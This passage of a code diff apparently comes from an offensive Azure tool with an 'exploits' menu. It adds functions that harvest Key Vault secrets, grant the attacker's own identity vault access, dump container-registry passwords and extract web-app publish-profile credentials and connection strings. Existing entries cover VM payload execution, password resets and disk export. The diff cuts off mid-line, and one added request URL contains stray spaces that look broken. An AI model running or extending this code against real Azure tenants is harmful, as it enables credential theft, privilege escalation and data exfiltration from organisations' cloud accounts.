skipped 8 lines 9 9 from prettytable import PrettyTable 10 10 import subprocess 11 11 from urllib.parse import urlparse 12 + from xml.dom.minidom import parse 13 + from xml.dom.minidom import parseString 14 + import xml.dom.minidom 12 15 13 16 Token = None 14 17 accessTokenGraph = None 18 + accessTokenVault = None 15 19 TotalTargets = [] 16 20 TargetSubscription = None 17 21 TargetTenantId = None skipped 1 lines 19 23 hasGraphAccess = False 20 24 hasMgmtAccess = False 21 25 hasVaultEnabled = False 26 + TrackLog = [] 22 27 23 28 24 29 class SimpleCompleter(object): skipped 43 lines 68 73 b64_string = Token.split(".")[1] 69 74 b64_string += "=" * ((4 - len(Token.split(".")[1].strip()) % 4) % 4) 70 75 return json.loads(base64.b64decode(b64_string))['oid'] 76 + 77 + def parseTenantId(): 78 + global Token 79 + if Token is None: 80 + print("No Token has been set.") 81 + else: 82 + b64_string = Token.split(".")[1] 83 + b64_string += "=" * ((4 - len(Token.split(".")[1].strip()) % 4) % 4) 84 + return json.loads(base64.b64decode(b64_string))['tid'] 85 + 71 86 def hasTokenInPlace(): 72 87 global Token 73 88 if Token is None: skipped 12 lines 86 101 87 102 88 103 def initToken(token, resetscopes): 89 - global Token, hasMgmtAccess, hasGraphAccess, hasVaultEnabled 104 + global Token, hasMgmtAccess, hasGraphAccess, hasVaultEnabled, TargetSubscription , TargetTenantId 90 105 if resetscopes: 91 106 hasMgmtAccess = False 92 107 hasGraphAccess = False 93 108 hasVaultEnabled = False 94 109 Token = token 110 + listSubs = ListSubscriptionsForToken() 111 + TargetSubscription = listSubs['value'][0]['subscriptionId'] 112 + TargetTenantId = parseTenantId() 95 113 96 114 97 115 def originitToken(token): skipped 130 lines 228 246 229 247 def RD_ListExposedWebApps(): 230 248 global Token 249 + result = [] 231 250 headers = { 232 251 'Content-Type': 'application/json', 233 252 'Authorization': 'Bearer ' + Token 234 253 } 235 254 rs = requests.get("https://management.azure.com/subscriptions/?api-version=2017-05-10", headers=headers) 236 255 for sub in rs.json()['value']: 237 - r = requests.get( 238 - "https://management.azure.com/subscriptions/"+sub['subscriptionId']+"/providers/Microsoft.Web/sites?api-version=2022-03-01", 239 - headers=headers) 240 - return r.json() 241 - return False 256 + for res in getResGroup(sub['subscriptionId'])['value']: 257 + rsVM = requests . get ( "https://management.azure.com/subscriptions/"+sub['subscriptionId']+"/resourceGroups / " + res [ ' name ' ] + " / providers/Microsoft.Web/sites?api-version=2022-03-01", headers = headers ) 258 + for item in rsVM.json()['value']: 259 + if 'identity' not in item: 260 + item['identity'] = "N/A" 261 + 262 + item['subscriptionId'] = sub['subscriptionId'] 263 + item['resourceGroup'] = res['name'] 264 + result.append(item) 265 + return result 266 + def RD_ListAllVMs(): 267 + global Token 268 + result = [] 269 + headers = { 270 + 'Content-Type': 'application/json', 271 + 'Authorization': 'Bearer ' + Token 272 + } 273 + rs = requests.get("https://management.azure.com/subscriptions/?api-version=2017-05-10", headers=headers) 274 + for sub in rs.json()['value']: 275 + for res in getResGroup(sub['subscriptionId'])['value']: 276 + rsVM = requests.get("https://management.azure.com/subscriptions/"+sub['subscriptionId']+"/resourceGroups/"+res['name']+"/providers/Microsoft.Compute/virtualMachines?api-version=2022-08-01", headers=headers) 277 + for item in rsVM.json()['value']: 278 + if 'identity' not in item: 279 + item['identity'] = "N/A" 280 + 281 + item['subscriptionId'] = sub['subscriptionId'] 282 + item['resourceGroup'] = res['name'] 283 + result.append(item) 284 + return result 285 + def RD_ListAllDeployments(): 286 + global Token 287 + result = [] 288 + headers = { 289 + 'Content-Type': 'application/json', 290 + 'Authorization': 'Bearer ' + Token 291 + } 292 + rs = requests.get("https://management.azure.com/subscriptions/?api-version=2017-05-10", headers=headers) 293 + for sub in rs.json()['value']: 294 + rsVM = requests.get("https://management.azure.com/subscriptions/"+sub["subscriptionId"]+"/providers/Microsoft.Web/sites?api-version=2022-03-01", headers=headers) 295 + for item in rsVM.json()['value']: 296 + result.append(item) 297 + return result 242 298 243 299 def RD_ListAllACRs(): 244 300 global Token skipped 9 lines 254 310 return r.json() 255 311 return False 256 312 313 + def HLP_GetACRCreds(acrId): 314 + global Token 315 + headers = { 316 + 'Content-Type': 'application/json', 317 + 'Authorization': 'Bearer ' + accessTokenVault 318 + } 319 + rs = requests.post("https://management.azure.com/"+acrId+"/listCredentials?api-version=2019-05-01", 320 + headers=headers) 321 + if rs.status_code == 200: 322 + return rs.json() 323 + else: 324 + return "Unable to fetch data ACR." 325 + 326 + def HLP_ReadVaultSecretContent(SecretIdLink): 327 + global Token 328 + headers = { 329 + 'Content-Type': 'application/json', 330 + 'Authorization': 'Bearer ' + accessTokenVault 331 + } 332 + rs = requests.get( 333 + SecretIdLink+"?api-version=7.3", 334 + headers=headers) 335 + if rs.status_code == 200: 336 + return "OK|" + rs.json()['value'] 337 + else: 338 + return "ERROR|Operation Failed: " + rs.json()['error']['message'] 339 + 340 + def HLP_AddVaultACL(vaultId): 341 + global Token 342 + headers = { 343 + 'Content-Type': 'application/json', 344 + 'Authorization': 'Bearer ' + Token 345 + } 346 + rs = requests.put( 347 + "https://management.azure.com/" + vaultId + "/accessPolicies/add?api-version=2021-10-01", 348 + json = { 349 + "properties": { 350 + "accessPolicies": [ 351 + { 352 + "tenantId": parseTenantId(), 353 + "objectId": parseUPNObjectId(), 354 + "permissions": { 355 + "keys": [ 356 + "encrypt" 357 + ], 358 + "secrets": [ 359 + "get", 360 + "list" 361 + ], 362 + "certificates": [ 363 + "get", 364 + "list" 365 + ] 366 + } 367 + } 368 + ] 369 + } 370 + }, 371 + headers=headers) 372 + if rs.status_code == 201 or rs.status_code == 200: 373 + return True 374 + else: 375 + return False 376 + 377 + def HLP_GetSecretsInVault(vaultName): 378 + global Token 379 + headers = { 380 + 'Content-Type': 'application/json', 381 + 'Authorization': 'Bearer ' + accessTokenVault 382 + } 383 + rs = requests.get( 384 + "https://"+str(vaultName).lower()+".vault.azure.net/secrets?api-version=7.3", 385 + headers=headers) 386 + if rs.status_code == 200: 387 + return "OK|" 388 + else: 389 + return "ERROR|Operation Failed: " + rs.json()['error']['message'] 390 + 391 + def HLP_GetSecretsInVaultNoStrings(vaultName): 392 + global Token 393 + headers = { 394 + 'Content-Type': 'application/json', 395 + 'Authorization': 'Bearer ' + accessTokenVault 396 + } 397 + rs = requests.get( 398 + "https://"+str(vaultName).lower()+".vault.azure.net/secrets?api-version=7.3", 399 + headers=headers) 400 + if rs.status_code == 200: 401 + return rs.json()['value'] 402 + else: 403 + return rs.json()['error']['message'] 404 + 405 + def HLP_GetSecretValueTXT(vaultSecretId): 406 + global Token 407 + headers = { 408 + 'Content-Type': 'application/json', 409 + 'Authorization': 'Bearer ' + accessTokenVault 410 + } 411 + rs = requests.get(vaultSecretId+"?api-version=7.3", 412 + headers=headers) 413 + if rs.status_code == 200: 414 + return rs.json()['value'] 415 + else: 416 + return rs.json()['error']['message'] 417 + 257 418 def HLP_GetVMInstanceView(subscriptionId,resourceGroupName,vmName): 258 419 global Token 259 420 headers = { skipped 26 lines 286 447 item['resourceGroup'] = res['name'] 287 448 result.append(item) 288 449 return result 450 + 451 + def RD_ListAllVaults(): 452 + global Token 453 + result = [] 454 + headers = { 455 + 'Content-Type': 'application/json', 456 + 'Authorization': 'Bearer ' + Token 457 + } 458 + rs = requests.get("https://management.azure.com/subscriptions/?api-version=2017-05-10", headers=headers) 459 + for sub in rs.json()['value']: 460 + for res in getResGroup(sub['subscriptionId'])['value']: 461 + rsVM = requests.get("https://management.azure.com/subscriptions/"+sub['subscriptionId']+"/resourceGroups/"+res['name']+"/providers/Microsoft.KeyVault/vaults?api-version=2021-10-01", headers=headers) 462 + for item in rsVM.json()['value']: 463 + item['subscriptionId'] = sub['subscriptionId'] 464 + item['resourceGroup'] = res['name'] 465 + result.append(item) 466 + return result 467 + def RD_ListAllStorageAccounts(): 468 + global Token 469 + result = [] 470 + headers = { 471 + 'Content-Type': 'application/json', 472 + 'Authorization': 'Bearer ' + Token 473 + } 474 + rs = requests.get("https://management.azure.com/subscriptions/?api-version=2017-05-10", headers=headers) 475 + for sub in rs.json()['value']: 476 + for res in getResGroup(sub['subscriptionId'])['value']: 477 + rsVM = requests.get("https://management.azure.com/subscriptions/"+sub['subscriptionId']+"/resourceGroups/"+res['name']+"/providers/Microsoft.Storage/storageAccounts?api-version=2021-09-01", headers=headers) 478 + for item in rsVM.json()['value']: 479 + item['subscriptionId'] = sub['subscriptionId'] 480 + item['resourceGroup'] = res['name'] 481 + 482 + if 'allowSharedKeyAccess' not in item['properties']: 483 + item['allowSharedKeyAccess'] = "N/A" 484 + else: 485 + item['allowSharedKeyAccess'] = item['properties']['allowSharedKeyAccess'] 486 + 487 + if 'customDomain' not in item['properties']: 488 + item['customDomain'] = "N/A" 489 + else: 490 + item['customDomain'] = item['properties']['customDomain'] 491 + 492 + result.append(item) 493 + return result 289 494 def CON_GenerateVMDiskSAS(subscriptionId, resourceGroupName, vmDiskName, location): 290 495 global Token 291 496 headers = { skipped 12 lines 304 509 return "Disk Ready! The SAS Download For the next 24 hours (Disk:" + vmDiskName + "): " + rsAsync.json()['accessSAS'] 305 510 else: 306 511 return "Failed to generate SAS link for Disk." 512 + def CON_GetPublishProfileBySite(SiteId): 513 + global Token 514 + headers = { 515 + 'Content-Type': 'application/json', 516 + 'Authorization': 'Bearer ' + Token 517 + } 518 + output = [] 519 + rs = requests.post("https://management.azure.com/"+SiteId+"/publishxml?api-version=2022-03-01", headers=headers) 520 + rsConf = requests.get("https://management.azure.com/"+SiteId+"/config/web?api-version=2022-03-01", headers=headers) 521 + if rs.status_code == 200: 522 + DOMTree = xml.dom.minidom.parseString(rs.text) 523 + xmlContent = DOMTree.documentElement 524 + profiles = xmlContent.getElementsByTagName('publishProfile') 525 + 526 + if rsConf.status_code == 200: 527 + connectionStrings = rsConf.json()['properties']['connectionStrings'] 528 + if connectionStrings is not None: 529 + output.append( 530 + {"name": "ConnectionStrings", "user": str("\n".join(connectionStrings)), "pwd": "", "host": ""}) 531 + 532 + for profile in profiles: 533 + name = profile.getAttribute('profileName') 534 + host = profile.getAttribute('publishUrl') 535 + user = profile.getAttribute('userName') 536 + pwd = profile.getAttribute('userPWD') 537 + sqlConnectionString = profile.getAttribute('SQLServerDBConnectionString') 538 + mySQLConnectionString = profile.getAttribute('mySQLDBConnectionString') 539 + output.append({"name": name, "user": user, "pwd": pwd, "host": host}) 540 + if sqlConnectionString != "": 541 + output.append({"name": "SQLServerDB", "user": sqlConnectionString, "pwd": "", "host": ""}) 542 + if mySQLConnectionString != "": 543 + output.append({"name": "MySQLServerDB", "user": mySQLConnectionString, "pwd": "", "host": ""}) 544 + return output 545 + else: 546 + return "Failed to parse deployment template" 307 547 308 548 def CON_VMExtensionExecution(subscriptionId, location, resourceGroupName, vmName, PayloadURL): 309 549 global Token skipped 175 lines 485 725 return "N/A" 486 726 487 727 def tryGetToken(): 488 - global accessTokenGraph, hasGraphAccess, hasMgmtAccess 728 + global accessTokenGraph, accessTokenVault , hasGraphAccess, hasMgmtAccess, hasVaultEnabled 489 729 try: 490 730 accessToken = None 491 731 add = subprocess.run(["powershell.exe", "-c","az account get-access-token --resource=\"https://management.azure.com/\""], capture_output=True, text=True) 492 732 graph = subprocess.run(["powershell.exe", "-c","az account get-access-token --resource=\"https://graph.microsoft.com/\""], capture_output=True, text=True) 733 + vault = subprocess.run(["powershell.exe", "-c","az account get-access-token --resource=\"https://vault.azure.net\""], capture_output=True, text=True) 493 734 if 'No subscription found' in add.stderr or graph.stderr: 494 735 print("No subscriptions were found. You will need to switch to tenant-level access manually: az login --allow-no-subscriptions") 495 736 print("Failed generate token. You may need to login or try manually.") skipped 3 lines 499 740 elif add.stdout == "" or graph.stdout == "": 500 741 print("Failed generate token. You may need to login or try manually.") 501 742 else: 743 + if vault.stdout == "": 744 + hasVaultEnabled = False 745 + else: 746 + vaultToken = json.loads(vault.stdout) 747 + accessTokenVault = vaultToken['accessToken'] 748 + hasVaultEnabled = True 502 749 hasGraphAccess = True 503 750 hasMgmtAccess = True 504 751 print("Captured token done. All set!") skipped 56 lines 561 808 "Microsoft.Automation/automationAccounts/schedules/read", 562 809 "Microsoft.Automation/automationAccounts/jobs/read"] 563 810 StorangeAccountAbuse = ["Microsoft.ClassicStorage/storageAccounts/listKeys/action", 564 - "Microsoft.Storage /storageAccounts/listKeys/action"] 811 + "Microsoft.ClassicStorage /storageAccounts/listKeys/action", 812 + "Microsoft.Storage/listAccountSas/action", 813 + "Microsoft.Storage/listServiceSas/action"] 565 814 ARMTemplateAbuse = ["Microsoft.Resources/deployments/*"] 566 815 DirectoryAbuse = ["Microsoft.Resources/deployments/*"] 567 816 ExtensionsAbuse = ["Microsoft.ClassicCompute/virtualMachines/extensions/*", skipped 160 lines 728 977 "sts", 729 978 "subs", 730 979 "iam full scan", 731 - "iam roles scan", 732 - "iam permission scan", 980 + "privs", 981 + "perms", 733 982 "show exploits", 734 983 "showtoken", 735 984 "deltoken", skipped 11 lines 747 996 "Reader/ListAutomationAccounts", 748 997 "Reader/DumpAllRunBooks", 749 998 "Reader/ListAllRunBooks", 999 + "Reader/ListAllVaults", 1000 + "Reader/ListAppServiceSites", 750 1001 "Reader/ListVirtualMachines", 1002 + "Reader/ListAllStorageAccounts", 751 1003 "Reader/ARMTemplatesDisclosure", 752 1004 "Reader/ListServicePrincipal", 753 1005 "Reader/abuseServicePrincipals", 1006 + "Contributor/ListACRCredentials", 1007 + "Contributor/ReadVaultSecret", 754 1008 "Contributor/RunCommandVM", 755 1009 "Contributor/VMExtensionResetPwd", 756 1010 "Contributor/VMExtensionExecution", 757 1011 "Contributor/VMDiskExport", 1012 + "Contributor/DumpWebAppPublishProfile", 758 1013 "GlobalAdministrator/elevateAccess" 759 1014 ] 760 1015 readline.set_completer(SimpleCompleter(exploits).complete) skipped 47 lines 808 1063 elif "get_target" in mode: 809 1064 print("Current Target SubscriptionId = " + str(TargetSubscription)) 810 1065 elif "iam full scan" in mode: 811 - print("Checking all RoleAssignments under SubscriptionId = " + str(TargetSubscription) + "...") 812 - allRolesAssigns = GetAllRoleAssignmentsUnderSubscription(str(TargetSubscription)) 813 - allRolesAssignsRecords = PrettyTable() 814 - allRolesAssignsRecords.align = "l" 815 - allRolesAssignsRecordsCount = 0 816 - allRolesAssignsRecords.field_names = ["#", "RoleName", "Scope", "Can Abused?", "Details"] 817 - for role in range(0, len(allRolesAssigns)): 818 - resultAllRolesAssigns = allRolesAssigns 819 - currentRoleInformation = GetAllRoleDefinitionsUnderId(resultAllRolesAssigns['value'][role]['properties']['roleDefinitionId']) 820 - currentRoleScope = resultAllRolesAssigns['value'][role]['properties']['scope'] 821 - currentRoleName = currentRoleInformation['properties']['roleName'] 822 - allRolesAssignsRecordsCount += 1 823 - if canRoleBeAbused(currentRoleName) is not False: 824 - allRolesAssignsRecords.add_row([allRolesAssignsRecordsCount, currentRoleName, currentRoleScope, "Yes", canRoleBeAbused(currentRoleName).split("|")[1]]) 825 - else: 826 - allRolesAssignsRecords.add_row([allRolesAssignsRecordsCount, currentRoleName, currentRoleScope, "No", "N/A"]) 827 - print(allRolesAssignsRecords) 828 - print("\nChecking all RolePermissions under SubscriptionId = " + str(TargetSubscription) + "...") 829 - allPermRolesAssigns = GetAllRoleAssignmentsUnderSubscription(str(TargetSubscription)) 830 - allPermRolesAssignsRecords = PrettyTable() 831 - allPermRolesAssignsRecords.align = "l" 832 - allPermRolesAssignsRecordsCount = 0 833 - allPermRolesAssignsRecords.field_names = ["#", "RoleName", "Permission Assigned", "Can Abused?", "Details"] 834 - for rolePermission in range(0, len(allPermRolesAssigns)): 835 - resultAllRolesAssigns = allPermRolesAssigns 836 - currentRolePermissionInformation = GetAllRoleDefinitionsUnderId( 837 - resultAllRolesAssigns['value'][rolePermission]['properties']['roleDefinitionId']) 838 - currentRolePermissionName = currentRolePermissionInformation['properties']['roleName'] 839 - currentRolePermissions = currentRolePermissionInformation['properties']['permissions'][0]['actions'] 840 - for permission in currentRolePermissions: 841 - allPermRolesAssignsRecordsCount += 1 842 - if canPermissionBeAbused(permission) is not False: 843 - allPermRolesAssignsRecords.add_row( 844 - [allPermRolesAssignsRecordsCount, currentRolePermissionName, permission, "Yes", canPermissionBeAbused(permission).split("|")[1]]) 1066 + if TargetSubscription == None: 1067 + print("Use set_target to set a subscription to work on.") 1068 + else: 1069 + print("Checking all RoleAssignments under SubscriptionId = " + str(TargetSubscription) + "...") 1070 + allRolesAssigns = GetAllRoleAssignmentsUnderSubscription(str(TargetSubscription)) 1071 + allRolesAssignsRecords = PrettyTable() 1072 + allRolesAssignsRecords.align = "l" 1073 + allRolesAssignsRecordsCount = 0 1074 + allRolesAssignsRecords.field_names = ["#", "RoleName", "Scope", "Can Abused?", "Details"] 1075 + for role in range(0, len(allRolesAssigns)): 1076 + resultAllRolesAssigns = allRolesAssigns 1077 + currentRoleInformation = GetAllRoleDefinitionsUnderId(resultAllRolesAssigns['value'][role]['properties']['roleDefinitionId']) 1078 + currentRoleScope = resultAllRolesAssigns['value'][role]['properties']['scope'] 1079 + currentRoleName = currentRoleInformation['properties']['roleName'] 1080 + allRolesAssignsRecordsCount += 1 1081 + if canRoleBeAbused(currentRoleName) is not False: 1082 + allRolesAssignsRecords.add_row([allRolesAssignsRecordsCount, currentRoleName, currentRoleScope, "Yes", canRoleBeAbused(currentRoleName).split("|")[1]]) 845 1083 else: 846 - allPermRolesAssignsRecords.add_row( 847 - [allPermRolesAssignsRecordsCount, currentRolePermissionName, permission, "No", "N/A"]) 848 - print(allPermRolesAssignsRecords) 849 - elif "iam roles scan" in mode: 850 - print("Checking all RoleAssignments under SubscriptionId = " + str(TargetSubscription) + "...") 851 - allRolesAssigns = GetAllRoleAssignmentsUnderSubscription(str(TargetSubscription)) 852 - allRolesAssignsRecords = PrettyTable() 853 - allRolesAssignsRecords.align = "l" 854 - allRolesAssignsRecordsCount = 0 855 - allRolesAssignsRecords.field_names = ["#", "RoleName", "Scope", "Can Abused?", "Details"] 856 - for role in range(0, len(allRolesAssigns)): 857 - resultAllRolesAssigns = allRolesAssigns 858 - currentRoleInformation = GetAllRoleDefinitionsUnderId(resultAllRolesAssigns['value'][role]['properties']['roleDefinitionId']) 859 - currentRoleScope = resultAllRolesAssigns['value'][role]['properties']['scope'] 860 - currentRoleName = currentRoleInformation['properties']['roleName'] 861 - allRolesAssignsRecordsCount += 1 862 - if canRoleBeAbused(currentRoleName) is not False: 863 - allRolesAssignsRecords.add_row([allRolesAssignsRecordsCount, currentRoleName, currentRoleScope, "Yes", canRoleBeAbused(currentRoleName).split("|")[1]]) 864 - else: 865 - allRolesAssignsRecords.add_row([allRolesAssignsRecordsCount, currentRoleName, currentRoleScope, "No", "N/A"]) 866 - print(allRolesAssignsRecords) 867 - elif "iam permission scan" in mode: 868 - print("Checking all RolePermissions under SubscriptionId = " + str(TargetSubscription) + "...") 869 - allPermRolesAssigns = GetAllRoleAssignmentsUnderSubscription(str(TargetSubscription)) 870 - allPermRolesAssignsRecords = PrettyTable() 871 - allPermRolesAssignsRecords.align = "l" 872 - allPermRolesAssignsRecordsCount = 0 873 - allPermRolesAssignsRecords.field_names = ["#", "RoleName", "Permission Assigned", "Can Abused?", "Details"] 874 - for rolePermission in range(0, len(allPermRolesAssigns)): 875 - resultAllRolesAssigns = allPermRolesAssigns 876 - currentRolePermissionInformation = GetAllRoleDefinitionsUnderId(resultAllRolesAssigns['value'][rolePermission]['properties']['roleDefinitionId']) 877 - currentRolePermissionName = currentRolePermissionInformation['properties']['roleName'] 878 - currentRolePermissions = currentRolePermissionInformation['properties']['permissions'][0]['actions'] 879 - for permission in currentRolePermissions: 880 - allPermRolesAssignsRecordsCount += 1 881 - if canPermissionBeAbused(permission) is not False: 882 - allPermRolesAssignsRecords.add_row([allPermRolesAssignsRecordsCount, currentRolePermissionName, permission, "Yes", canPermissionBeAbused(permission).split("|")[1]]) 1084 + allRolesAssignsRecords.add_row([allRolesAssignsRecordsCount, currentRoleName, currentRoleScope, "No", "N/A"]) 1085 + print(allRolesAssignsRecords) 1086 + print("\nChecking all RolePermissions under SubscriptionId = " + str(TargetSubscription) + "...") 1087 + allPermRolesAssigns = GetAllRoleAssignmentsUnderSubscription(str(TargetSubscription)) 1088 + allPermRolesAssignsRecords = PrettyTable() 1089 + allPermRolesAssignsRecords.align = "l" 1090 + allPermRolesAssignsRecordsCount = 0 1091 + allPermRolesAssignsRecords.field_names = ["#", "RoleName", "Permission Assigned", "Can Abused?", "Details"] 1092 + for rolePermission in range(0, len(allPermRolesAssigns)): 1093 + resultAllRolesAssigns = allPermRolesAssigns 1094 + currentRolePermissionInformation = GetAllRoleDefinitionsUnderId( 1095 + resultAllRolesAssigns['value'][rolePermission]['properties']['roleDefinitionId']) 1096 + currentRolePermissionName = currentRolePermissionInformation['properties']['roleName'] 1097 + currentRolePermissions = currentRolePermissionInformation['properties']['permissions'][0]['actions'] 1098 + for permission in currentRolePermissions: 1099 + allPermRolesAssignsRecordsCount += 1 1100 + if canPermissionBeAbused(permission) is not False: 1101 + allPermRolesAssignsRecords.add_row( 1102 + [allPermRolesAssignsRecordsCount, currentRolePermissionName, permission, "Yes", canPermissionBeAbused(permission).split("|")[1]]) 1103 + else: 1104 + allPermRolesAssignsRecords.add_row( 1105 + [allPermRolesAssignsRecordsCount, currentRolePermissionName, permission, "No", "N/A"]) 1106 + print(allPermRolesAssignsRecords) 1107 + elif "privs" in mode: 1108 + if TargetSubscription == None: 1109 + print("Use set_target to set a subscription to work on.") 1110 + else: 1111 + print("Checking all RoleAssignments under SubscriptionId = " + str(TargetSubscription) + "...") 1112 + allRolesAssigns = GetAllRoleAssignmentsUnderSubscription(str(TargetSubscription)) 1113 + allRolesAssignsRecords = PrettyTable() 1114 + allRolesAssignsRecords.align = "l" 1115 + allRolesAssignsRecordsCount = 0 1116 + allRolesAssignsRecords.field_names = ["#", "RoleName", "Scope", "Can Abused?", "Details"] 1117 + for role in range(0, len(allRolesAssigns)): 1118 + resultAllRolesAssigns = allRolesAssigns 1119 + currentRoleInformation = GetAllRoleDefinitionsUnderId(resultAllRolesAssigns['value'][role]['properties']['roleDefinitionId']) 1120 + currentRoleScope = resultAllRolesAssigns['value'][role]['properties']['scope'] 1121 + currentRoleName = currentRoleInformation['properties']['roleName'] 1122 + allRolesAssignsRecordsCount += 1 1123 + if canRoleBeAbused(currentRoleName) is not False: 1124 + allRolesAssignsRecords.add_row([allRolesAssignsRecordsCount, currentRoleName, currentRoleScope, "Yes", canRoleBeAbused(currentRoleName).split("|")[1]]) 883 1125 else: 884 - allPermRolesAssignsRecords.add_row([allPermRolesAssignsRecordsCount, currentRolePermissionName, permission, "No", "N/A"]) 885 - print(allPermRolesAssignsRecords) 1126 + allRolesAssignsRecords.add_row([allRolesAssignsRecordsCount, currentRoleName, currentRoleScope, "No", "N/A"]) 1127 + print(allRolesAssignsRecords) 1128 + elif "perms" in mode: 1129 + if TargetSubscription == None: 1130 + print("Use set_target to set a subscription to work on.") 1131 + else: 1132 + print("Checking all RolePermissions under SubscriptionId = " + str(TargetSubscription) + "...") 1133 + allPermRolesAssigns = GetAllRoleAssignmentsUnderSubscription(str(TargetSubscription)) 1134 + allPermRolesAssignsRecords = PrettyTable() 1135 + allPermRolesAssignsRecords.align = "l" 1136 + allPermRolesAssignsRecordsCount = 0 1137 + allPermRolesAssignsRecords.field_names = ["#", "RoleName", "Permission Assigned", "Can Abused?", "Details"] 1138 + for rolePermission in range(0, len(allPermRolesAssigns)): 1139 + resultAllRolesAssigns = allPermRolesAssigns 1140 + currentRolePermissionInformation = GetAllRoleDefinitionsUnderId(resultAllRolesAssigns['value'][rolePermission]['properties']['roleDefinitionId']) 1141 + currentRolePermissionName = currentRolePermissionInformation['properties']['roleName'] 1142 + currentRolePermissions = currentRolePermissionInformation['properties']['permissions'][0]['actions'] 1143 + for permission in currentRolePermissions: 1144 + allPermRolesAssignsRecordsCount += 1 1145 + if canPermissionBeAbused(permission) is not False: 1146 + allPermRolesAssignsRecords.add_row([allPermRolesAssignsRecordsCount, currentRolePermissionName, permission, "Yes", canPermissionBeAbused(permission).split("|")[1]]) 1147 + else: 1148 + allPermRolesAssignsRecords.add_row([allPermRolesAssignsRecordsCount, currentRolePermissionName, permission, "No", "N/A"]) 1149 + print(allPermRolesAssignsRecords) 886 1150 elif "get_resources" in mode or "get_res" in mode: 887 1151 if TargetSubscription == None: 888 1152 print("Please set target subscription.") skipped 54 lines 943 1207 print("All set.") 944 1208 elif "Reader/ExposedAppServiceApps" in ExploitChoosen and mode == "run": 945 1209 print("Trying to enumerate all external-facing Azure Service Apps..") 946 - AppServiceRecords = PrettyTable() 947 - AppServiceRecords.align = "l" 948 - AppServiceRecords.field_names = ["#", "App Name", "Type", "Status", "Enabled Hostname(s)"] 949 - AppServiceRecordsCount = 0 950 - for AppServiceRecord in RD_ListExposedWebApps()['value']: 951 - AppServiceRecords.add_row([AppServiceRecordsCount, AppServiceRecord['name'], AppServiceRecord['kind'], AppServiceRecord['properties']['state'], ",".join(AppServiceRecord['properties']['enabledHostNames'])]) 952 - AppServiceRecordsCount + = 1 953 - print(AppServiceRecords) 1210 + if len(RD_ListExposedWebApps()) < 1: 1211 + print("No Azure Service Apps were found.") 1212 + else: 1213 + AppServiceRecords = PrettyTable() 1214 + AppServiceRecords.align = "l" 1215 + AppServiceRecords.field_names = ["#", "App Name", "Type", "Status", "Enabled Hostname(s)","Identity"] 1216 + AppServiceRecordsCount = 0 1217 + for AppServiceRecord in RD_ListExposedWebApps(): 1218 + if AppServiceRecord['identity'] == "N/A": 1219 + AppIdentity = "N/A" 1220 + else: 1221 + AppIdentity = AppServiceRecord['identity']['type'] 1222 + AppServiceRecords.add_row([AppServiceRecordsCount, AppServiceRecord['name'], AppServiceRecord['kind'], AppServiceRecord['properties']['state'], "\n".join(AppServiceRecord['properties']['enabledHostNames']), AppIdentity]) 1223 + AppServiceRecordsCount += 1 1224 + print(AppServiceRecords) 954 1225 elif "Reader/ListAllAzureContainerRegistry" in ExploitChoosen and mode == "run": 955 1226 print("Trying to list all ACR (Azure Container Registry) available in all subscriptions..") 956 - ACRRecords = PrettyTable() 957 - ACRRecords.align = "l" 958 - ACRRecords.field_names = ["#", "Registry Name", "Location", "Login Server", "AdminEnabled", "CreatedAt"] 959 - ACRRecordsCount = 0 960 - for ACRRecord in RD_ListAllACRs()['value']: 961 - ACRRecords.add_row([ACRRecordsCount, ACRRecord['name'], ACRRecord['location'], ACRRecord['properties']['loginServer'], ACRRecord['properties']['adminUserEnabled'], ACRRecord['properties']['loginServer']]) 962 - ACRRecordsCount + = 1 963 - print(ACRRecords) 1227 + if len(RD_ListAllACRs()['value']) < 1: 1228 + print("No Azure Container Registry were found.") 1229 + else: 1230 + ACRRecords = PrettyTable() 1231 + ACRRecords.align = "l" 1232 + ACRRecords.field_names = ["#", "Registry Name", "Location", "Login Server", "AdminEnabled", "CreatedAt"] 1233 + ACRRecordsCount = 0 1234 + for ACRRecord in RD_ListAllACRs()['value']: 1235 + ACRRecords.add_row([ACRRecordsCount, ACRRecord['name'], ACRRecord['location'], ACRRecord['properties']['loginServer'], ACRRecord['properties']['adminUserEnabled'], ACRRecord['properties']['loginServer']]) 1236 + ACRRecordsCount += 1 1237 + print(ACRRecords) 1238 + elif "Contributor/ListACRCredentials" in ExploitChoosen and mode == "run": 1239 + print("Trying to list all users and passwords for ACR (Azure Container Registry)..") 1240 + ACRCredsRecords = PrettyTable() 1241 + ACRCredsRecords.align = "l" 1242 + ACRCredsRecords.field_names = ["#", "Registry Name", "UserName", "Password(s)"] 1243 + ACRCredsRecordsCount = 0 1244 + if len(RD_ListAllACRs()['value']) < 1: 1245 + print("No Azure Container Registry were found.") 1246 + else: 1247 + for ACRRecord in RD_ListAllACRs()['value']: 1248 + InfoACR = HLP_GetACRCreds(ACRRecord['id']) 1249 + ACRCredsRecords.add_row([ACRCredsRecordsCount, ACRRecord['name'], InfoACR["username"], InfoACR["passwords"]]) 1250 + ACRCredsRecordsCount += 1 1251 + print(ACRCredsRecords) 964 1252 elif "Reader/ListAutomationAccounts" in ExploitChoosen and mode == "run": 965 1253 print("Trying to enumerate all automation accounts..") 966 - AutomationAccountRecords = PrettyTable() 967 - AutomationAccountRecords.align = "l" 968 - AutomationAccountRecords.field_names = ["#", "SubscriptionId", "AccountName", "Location", "Tags"] 969 - AutomationAccountRecordsCount = 0 970 - for AutomationAccRecord in RD_ListAutomationAccounts(): 971 - AutomationAccountRecords.add_row( 972 - [AutomationAccountRecordsCount, AutomationAccRecord['subscriptionId'], AutomationAccRecord['name'], AutomationAccRecord['location'], 973 - str(AutomationAccRecord['tags'])]) 974 - AutomationAccountRecordsCount += 1 975 - print(AutomationAccountRecords) 1254 + if len(RD_ListAutomationAccounts()) < 1: 1255 + print("No Automation accounts were found.") 1256 + else: 1257 + AutomationAccountRecords = PrettyTable() 1258 + AutomationAccountRecords.align = "l" 1259 + AutomationAccountRecords.field_names = ["#", "SubscriptionId", "AccountName", "Location", "Tags"] 1260 + AutomationAccountRecordsCount = 0 1261 + for AutomationAccRecord in RD_ListAutomationAccounts(): 1262 + AutomationAccountRecords.add_row( 1263 + [AutomationAccountRecordsCount, AutomationAccRecord['subscriptionId'], AutomationAccRecord['name'], AutomationAccRecord['location'], 1264 + str(AutomationAccRecord['tags'])]) 1265 + AutomationAccountRecordsCount += 1 1266 + print(AutomationAccountRecords) 1267 + elif "Contributor/ReadVaultSecret" in ExploitChoosen and mode == "run": 1268 + if not hasVaultEnabled: 1269 + print("ERROR: No Vault Scope Enabled.") 1270 + else: 1271 + if len(RD_ListAllVaults()) < 1: 1272 + print("No Vaults were 